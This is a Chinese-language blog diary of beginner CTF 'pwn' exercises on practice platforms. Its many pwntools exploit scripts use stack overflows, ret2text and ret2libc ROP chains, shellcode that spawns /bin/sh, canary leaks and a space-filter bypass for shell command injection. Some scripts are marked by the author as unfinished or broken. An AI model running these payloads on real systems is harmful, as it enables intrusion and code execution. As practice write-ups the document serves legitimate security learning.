🥰pwn入门刷题日记~ 2024-11-29 [SWPUCTF 2021 新生赛]nc签到 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import  osart = '''     ((  "####@@!!$$    ))        `#####@@!$$`  ))     ((  '####@!!$:    ((  ,####@!!$:   ))        .###@!!$:        `##@@!$:         `#@!!$   !@#    `#@!$:       @#$    #$     `#@!$:       !@!             '@!$:         '`\   "!$: /`'            '\  '!: /'              "\ : /"   -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\ " -."-.\\"-."//.-".`-."_\\-.".-\".-//''' print (art)print ("My_shell_ProVersion" )blacklist = ['cat' ,'ls' ,' ' ,'cd' ,'echo' ,'<' ,'${IFS}' ] while  True :    command = input ()     for  i in  blacklist:         if  i in  command:             exit(0 )     os.system(command) 
才知道是黑名单绕过——
参考文章:NSSCTF——Pwn 刷题笔记 – G3rling’s Blog 
一些方法:
方法一 使用引号截断绕过+$IFS$9(空格)绕过
方法二 转义符\+$IFS$9(空格)绕过
方法三 tac绕过
方法四 获取root权限
exp:
1 2 3 4 5 from  pwn import  *p = remote(“1.14 .71 .254 ”,28612 ) p.sendline(“tac$IFS$9flag”) print (p.recv())p.interactive() 
[SWPUCTF 2021 新生赛]gift_pwn 
64位,部分保护
要导向0x4005b6 
读取16个(看起来空间还是很大的)
exp:
1 2 3 4 5 from  pwn import  *p = remote('node4.anna.nssctf.cn' ,28520 ) payload = b'A' *0x10 +b'B' *0x8 +p64(0x4005b6 ) p.send(payload)   p.interactive() 
1 2 3 4 5 6 7 8 from  pwn import  *p = remote('node4.anna.nssctf.cn' ,28520 ) shellcode = asm(shellcraft.sh()) shellcode_addr = your_addr ret = 0x4004c3      payload = shellcode.ljust(0x10 ,'a' )+shellcode.ljust(0x8 ,'b' )+p64(ret)+p64(shellcode_addr) p.send(payload) p.interactive()  
[LitCTF 2023]只需要nc一下~ ?env?
或者:
echo $FLAG
1 2 3 4 5 6 7 8 9 10 11 12 13 # cat Dockerfile FROM python:3 .11  COPY  . /appENV FLAG=NSSCTF{123456 } RUN echo  $FLAG > /flag.txt WORKDIR /app EXPOSE 5000  CMD  ["python", "app.py"]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #cat app.py import os import subprocess import socketserver class TerminalHandler(socketserver.StreamRequestHandler):     def handle(self):         self.intro()         while True:             try:                 data  = self.rfile.readline ().strip ()                 if  not  data :                     break                  result  = self.execute_command (data )                 self.send_result (result )             except  Exception  as  e :                 self.send_error (str (e ))     def  intro (self ):         self.wfile.write (b "Welcome  to  the  virtual  terminal !\n ")     def  execute_command (self , command ):         output  = subprocess.check_output (command , shell =True )         return  output      def  send_result (self , result ):         self.wfile.write (result )     def  send_error (self , error ):         self.wfile.write (b "Error : " + error.encode () + b "\n ") if  __name__  == "__main__ ":    HOST , PORT  = "0.0.0.0", 9999     server  = socketserver.ThreadingTCPServer ((HOST , PORT ), TerminalHandler )     server.serve_forever () 
[CISCN 2019华北]PWN1 
很好的小数pwn
1 2 3 4 5 from  pwn import  *p = remote('node4.anna.nssctf.cn' ,28123 ) payload = b'A' *0x2c +p64(0x41348000 ) p.send(payload) p.interactive()  
[NISACTF 2022]ReorPwn? 刚吐槽第三题对web手太友好了,
发现这一题真是re
倒着输入
[SWPUCTF 2022 新生赛]Does your nc work? 
[BJDCTF 2020]babystack2.0 很好的题,被pwn✌骂了,因为抄错数字,pwn✌debug了半天。
很好的逆向困难复现(√(总是卡在奇怪的地方(很好很好
1 2 3 4 5 6 7 8 9 from  pwn import  *context(os='linux' ,arch='amd64' ,log_level='debug' ) backdoor = 0x400726  ret = 0x400599  p = remote('node4.anna.nssctf.cn' ,'28859' ) p.sendlineafter(b"name:" ,b'-1' ) payload = b'A' *0x10  + b'B' *8   + p64(backdoor) p.sendafter(b"name?" ,payload) p.interactive()  
[SWPUCTF 2022 新生赛]FindanotherWay 
2022-11-30 [BJDCTF 2020]babystack ?前面那个题的简单版
1 2 3 4 5 6 7 from  pwn import  *p = remote(‘node4.anna.nssctf.cn’,28931 ) p.sendlineafter(b’Please input  the length of your name:\n’,b’30 ’) Payload = b’a’*(0x10  + 8 ) + p64(0x04006EA ) p.sendline(Payload) p.interactive() 
[HNCTF 2022 Week1]easync 找——
nssctf{Nc_@nd_g3t5h31L}
[NISACTF 2022]ezstack ?为什么呢
[HGAME 2023 week1]easyenc 
普通逆向。。
NSSCTF{4ddit1on_is_a_rever5ible_0peration}
2024-11-31 [NISACTF 2022]shop_pwn [???] 
2024-12-4 一道保护全开的题目,//TODO
main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int  __fastcall main (int  argc, const  char  **argv, const  char  **envp) {   int  v4;    char  buf[136 ];    unsigned  __int64 v6;    v6 = __readfsqword(0x28 u);   memset (buf, 0 , sizeof (buf));   alarm(0x3C u);   setbuf(_bss_start, 0LL );   welcome();   puts ("Can you give me your name?" );   v4 = read(0 , buf, 0x100 uLL);   if  ( buf[v4 - 1 ] == 10  )     buf[v4 - 1 ] = 0 ;   printf ("\nHello %s.\n\n" , buf);   puts ("Do you have anything you want to say to me?" );   read(0 , buf, 0x100 uLL);   puts ("See you next time!" );   return  0 ; } 
(感觉思路是很明确的,理论成立,实践拉跨(欸嘿
这是第一版写的答案:(orz一直没打通,然后pwn✌发了wp看着问题在哪里
(还是没太明白,留着等学的扎实一点再看吧(欸嘿
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from  pwn import  *p = process('./vuln' )  elf = ELF('./vuln' ) libc = ELF('./libc.so.6' )//? p.recvuntil(b"What's your name:" ) payload1 = b'A'  * 0x88  +b'A'  //136 (10 ) 这里额外的A覆盖返回地址(但是不知道 为什么(坏)) p.sendline(payload1) p.recvuntil(b'A' *0x88 ) canary1 = u64(p,recv(8 ))-ord ('A' ) //  elf_base = u64(p.recv(6 ).ljust(8 ,b'\x00' )) - 0x10a0  //奇怪的是我这边偏移这么大(? print (hex (canary1))print (hex (elf_base))p.recvuntil(b"Hello " ) leak = p.recvline().strip() canary2 = u64(leak.ljust(8 , b'\x00' ))   log.success(f"Leaked Canary: {hex (canary2)} " ) pop_rdi_ret = 0xcb3  main_addr = elf_base + 0xaa2  //? payload2 = b'A'  * 144  + p64(canary) + b'B'  * 8    payload2 += p64(elf_base) payload2 += p64(puts_plt)   payload2 += p64(main_addr)  payload2 += p64(puts_got)   p.sendafter('say?' ,payload2) puts_leak = u64(p.recv(6 ).ljust(8 , b'\x00' ))   libc_base = puts_leak - puts_offset   log.success(f"Leaked libc base: {hex (libc_base)} " ) system = libc_base + libc.symbols['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) payload3 = b'A'  * 144  payload3 += p64(canary) payload3 += b'B'  * 8   payload3 += p64(ret)   payload3 += p64(system) payload3 += p64(0 )   payload3 += p64(bin_sh)   p.sendafter('say?' ,payload3) p.interactive()   
蚌,理论和实践差太多了。 orz多做题喵。。
[HGAME 2023 week1]test_nc ?nc
[watevrCTF 2019]Voting Machine 1 甚至看了一下这个flag展示函数,自动展示(感恩)
1 2 3 4 5 6 from  pwn import  *p = remote("node5.anna.nssctf.cn" ,20006 ) backdoor = 0x400807  payload = b'A' *(0x2 +8 ) + p64(backdoor) p.sendline(payload) p.interactive()  
[HNCTF 2022 Week1]easyoverflow (终于知道最基础的ret2text是什么样子了( 存一个c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h>  int  main () {     setbuf(stdin ,0 );     setbuf(stdout ,0 );     setbuf(stderr ,0 );     puts ("Input something" );     char  name[30 ];     int  number=0 ;     gets(name);     if (number!=0 ){         puts ("You win." );         system("cat flag" );     }     return  0 ; } 
exp:
1 2 3 4 5 6 from  pwn import  *p = remote("node5.anna.nssctf.cn" ,29251 ) payload = b'A' *(0x30 -0x4 )+b'B'  p.sendline(payload) p.interactive()  
[NISACTF 2022]ezpie PIE保护的ret2text hhhh可爱捏
1 2 3 4 5 6 7 8 9 10 11 12 from  pwn import  *context(os = 'linux' ,arch='i386' ,log_level='debug' ) p = remote("node7.anna.nssctf.cn" ,26619 ) main_addr = 0x0770  backdoor_addr = 0x080F  p.recvline() base = int (p.recvuntil('\n' ,drop=True ),16 ) payload = b'A' *(0x28 +4 )+p32( base + backdoor_addr-main_addr) p.sendline(payload) p.interactive()  
[GFCTF 2021]where_is_shell 正好是这页的最后一个🥰🥰 题目提示: 代码段是有r权限的的,所以字符串可以在代码段上
记得之前似乎有看到过,调用shell的方法之一是system($0) 这次才知道$0再机器码中为\x24\x30 似乎比我想的复杂一点(
pop rdi ret : 一种常见的ROPgadget,ret弹出一个地址,再使用pop rdi ret 把之前的shell地址存入rdi寄存器中,最后再调用system函数
这时因为rdi有之前存入的$0,很好的函数调用👍
ROPgadget –binary shell –only “pop|ret” ┌──(kali㉿kali)-[~/Desktop]
└─$ ROPgadget –binary shell –only “pop|ret”
Gadgets information
============================================================
0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop r14 ; pop r15 ; ret
0x00000000004005e2 : pop r15 ; ret
0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; > ret
0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005e3 : pop rdi ; ret
0x00000000004005e1 : pop rsi ; pop r15 ; ret
0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400416 : ret
Unique gadgets found: 11
pop rdi ret 0x4005e3 | ret 0x400416
接着是之前经常提到的栈对齐问题
x86-64 ABI(应用程序二进制接口)保证了在调用指令上的 16-bits 对齐。libc 利用了这一点,并使用 SSE 数据传输指令来优化执行;特别是在 system 中会使用诸如 movaps 等指令。 这意味着如果栈不是 16-bits 对齐的(即 RSP 不是 16 的倍数),那么 ROP 链在执行 system 时会失败。
修复方法很简单,在你的 ROP 链中调用 system 之前,插入一个单独的 ret gadget:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from  pwn import  *context(os = 'linux' ,arch='i386' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28984 ) elf = ELF('./shell' ) pop_rdi_ret = 0x4005e3  ret = 0x400416  backdoor = 0x400541   //这里是1 ,因为第一个是call的机器码 system_addr = elf.symbols['system' ] payload = b'b' *(0x10 +8 )+p64(ret_addr)+p64(pop_rdi_ret)+p64(backdoor)+p64(system_addr) p.sendafter('find it?\n' ,payload) p.interactive() 
2024-12-5 [NSSCTF 2022 Spring Recruit]R3m4ke? char v4[32]; // [rsp+0h] [rbp-20h] BYREF
1 2 3 4 5 6 7 8 9 from  pwn import  *context(os = 'linux' ,arch='i386' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28301 ) elf = ELF('./r3m4ke1t' ) backdoor = 0x040072C  payload = b'A' *(0x20 +8 ) + p64(backdoor) p.send(payload) p.interactive() 
[HNCTF 2022 Week1]ret2shellcode 新的东西!ret2shellcode 感谢pwn爹!!!寥寥几句讲的好清楚 
这里要确认buff的bss段是否可写:
1 2 3 4 5 6 7 8 9 10 from  pwn import  *context(os = 'linux' ,arch='amd64' ,log_level='debug' ) p = remote("node5.anna.nssctf.cn" ,21499 ) elf = ELF('./shellcode' ) shellcode = asm(shellcraft.sh()) target = 0x4040A0  payload = shellcode.ljust(256 +8 ) + p64(target) p.send(payload) p.interactive() 
注意这里是amd64(!!!
[GDOUCTF 2023]Shellcode NX保护,amd64
1 2 3 4 5 6 7 8 9 10 11 from  pwn import  *context(os = 'linux' ,arch='amd64' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28209 ) elf = ELF('./pwn12' ) shellcode = asm(shellcraft.cat("flag" )) p.sendlineafter("Please." ,shellcode) target = 0x6010A0  payload = b'a' *(0xA +8 ) + p64(target) p.sendafter("start!" ,payload) p.interactive() 
1 2 3 4 5 6 7 8 9 10 11 from  pwn import  *context(os = 'linux' ,arch='amd64' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28209 ) elf = ELF('./pwn12' ) shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'  p.sendlineafter("Please." ,shellcode) target = 0x6010A0  payload = b'a' *(0xA +8 ) + p64(target) p.sendafter("start!" ,payload) p.interactive() 
2024-12-10 好久没写了 (也不是(周六赤石去了
[SWPUCTF 2022 新生赛]贪吃蛇 ?!直接静态看flag加密。xor0x52 欸嘿
[HGAME 2022 week1]test your gdb 有金丝雀
动调解除密文:
debug002:00007FA5FC928E90 dq 0B0361E0E8294F147h
debug002:00007FA5FC928E98 dq 8C09E0C34ED8A6A9h
接着后门:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from  pwn import  *context(os='linux' , arch='amd64' , log_level='debug' ) p = remote('node5.anna.nssctf.cn' , 27287 ) elf = ELF('./service' ) backdoor = 0x401256  password = p64(0xb0361e0e8294f147 ) + p64(0x8c09e0c34ed8a6a9 ) p.sendafter(b'enter your pass word\n' , password) canary = u64(p.recv()[0x20  - 0x08 :0x20 ]) payload = cyclic(0x20  - 0x08 ) + p64(canary) + p64(0 ) + p64(backdoor) p.sendline(payload) p.interactive() 
2024-12-14 [LitCTF 2023]口算题卡 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from  pwn import  *p = remote("node4.anna.nssctf.cn" , 28187 ) context(os="linux" , arch="i386" , log_level="debug" ) recv_header = p.recvuntil(b"Have fun!\n" ) for  x in  range (100 ):    p.recvuntil(b"What is" )          key = p.recvuntil(b"?" )     payload = flat([         str (eval (key[:-1 ]))     ])     print (eval (key[:-1 ]))     p.sendline(payload) p.interactive() 
[HUBUCTF 2022 新生赛]fmt [BJDCTF 2020]babyrop 1 /home/kali/Desktop/pwn90: ELF 64 -bit LSB executable, x86-64 , version 1  (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64 .so.2 , for  GNU/Linux 2 .6 .32 , BuildID[sha1]=ebe33bb41cb0dcdde518b9dfb38eb03a104ee0b7, not  stripped 
思路:
利用puts函数泄露libc版本 计算偏移 找system和bin/sh 构造rop 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from  pwn import  * context (os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ['tmux' ,'splitw' ,'-h' ,'-l' ,'140' ] pwnfile = './pwn90'  elf = ELF(pwnfile) io = remote('node4.anna.nssctf.cn' ,28497 ) pop_rdi = 0x400733  puts_plt = elf.sym['puts' ] puts_got = elf.got['puts' ] main_addr = elf.sym['main' ] pay = b'b'  * (0x20 +8 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendafter(b'story!' ,pay) puts_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = puts_addr - 0x6f690  system_addr = libc_base + 0x45390  bin_sh = libc_base + 0x18cd57  pay2 = b'b'  * (0x20 +8 ) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr) io.recvuntil('sword and tell me u story!' ) io.sendline(pay2) io.interactive() 
2024-12-21 rip 
1 2 3 4 5 6 7 8 from  pwn import  * context (os='linux' , arch='amd64' , log_level='debug' ) p = remote('node5.buuoj.cn' ,28867 ) payload = b'a' *(0xF +0x8 )+p64(0x40118A ) p.sendline(payload) p.interactive() 
warmup_csaw_2016 
1 2 3 4 5 6 7 8 9 10 from  pwn import  * context (os='linux' , arch='amd64' , log_level='debug' ) p = remote('node5.buuoj.cn' ,25914 ) backdoor = 0x40060D  payload = b'a' *(0x40 +0x8 )+p64(backdoor) p.sendline(payload) p.interactive() 
2024-12-22 学了点基础知识
关于堆的一些小东西 
2024-12-24 [HNCTF 2022 Week1]ezcmp 不想和我说话,典型的IDA动调思维(x 断点断在read前面,直接读取buff值,拿出来:
1 2 3 4 5 from  pwn import  *p = remote('node5.anna.nssctf.cn' ,25530 ) payload = "\x72\x40\x0E\xDC\xAA\x78\x46\x14\xE2\xB0\x7E\x4C\x1A\xE8\xB6\x84\x52\x20\xEE\xBC\x8A\x58\x26\xF4\xC2\x90\x5E\x2C\xCB\xC8"  p.sendline(payload) p.interactive() 
当然gdb(
[?]??? 2024-12-27 [MoeCTF 2021]ret2text_ez 1 2 3 4 5 6 7 8 9 from  pwn import  *p = remote('node5.anna.nssctf.cn' ,22826 ) backdoor = 0x0401196  payload = b'A' *(0x20 +0x8 )+p64(backdoor) p.send(payload) p.interactive() 
[GWCTF 2019]xxor 2025-1-3 一直在写大作业们(狡辩)
2025-3-17 [GDOUCTF 2023]Shellcode 1 2 3 4 5 6 7 8 9 10 from  pwn import  *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('node4.anna.nssctf.cn' ,28168 ) cat_flag=asm(shellcraft.cat('flag' )) payload=b'a' *(0x0A +0x08 )+p64(0x6010a0 ) io.sendlineafter(b'Please.' ,cat_flag) io.sendlineafter(b'start!' ,payload) io.interactive() 
[CISCN 2023 初赛]烧烤摊儿 题目分析 
静态连接 ,gadget多,适合ret2syscall
赐名那里可以做到栈溢出(但是有金丝雀)
整数溢出,可以利用整数溢出加钱
这里又复制了一段我们的输入信息
所以我们可以在name中写bin/sh
因为没有开启PIE,地址固定,rdi(存放bin/sh的地址)
exp编写 构建ROP链 1 2 3 4 5 6 rdi=0x000000000040264f  rsi=0x000000000040a67e  rdx_rbx=0x0000000004a404b  rax=0x0000000000458827  syscall=0x0000000000402404  bss=0x4e82c0  
padding 为b'A' * 0x20而不是b'A' * 0x20 + 0x08,/bin/sh\x00字符串已经充当了那0x08的Padding
本题静态连接,可以直接使用ROPGadget构建的ROP连ROPgadget –binary shaokao –ropchain  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from  pwn import  *from  pwn import  p64,u64  context(arch='amd64' ,log_level='debug' )   io=process('./pwn' ) io=remote('node4.anna.nssctf.cn' ,28716 ) elf=ELF('./pwn' )   io.recvuntil(b'>' ) io.sendline(b'2' ) io.recvuntil('3. 鸡肉串\n' ) io.sendline(b'2' ) io.recvuntil('来几串?\n' ) io.sendline(b'-100000' ) io.recvuntil(b'>' ) io.sendline(b'4' ) io.recvuntil('老板,你这摊儿,我买了\n' ) io.recvuntil('成交\n' ) io.recvuntil(b'>' ) io.sendline(b'5' )   rdi=0x000000000040264f  rsi=0x000000000040a67e  rdx_rbx=0x0000000004a404b  rax=0x0000000000458827  syscall=0x0000000000402404  bss=0x4e82c0    payload=b'/bin/sh\x00' +b'a' *0x20  name=0x4E60F0  payload+=p64(rdi)+p64(name)+p64(rsi)+p64(0 )+p64(rdx_rbx)+p64(0 )+p64(0 )+p64(rax)+p64(59 )+p64(syscall) io.recvuntil('请赐名:\n' ) io.sendline(payload) io.interactive()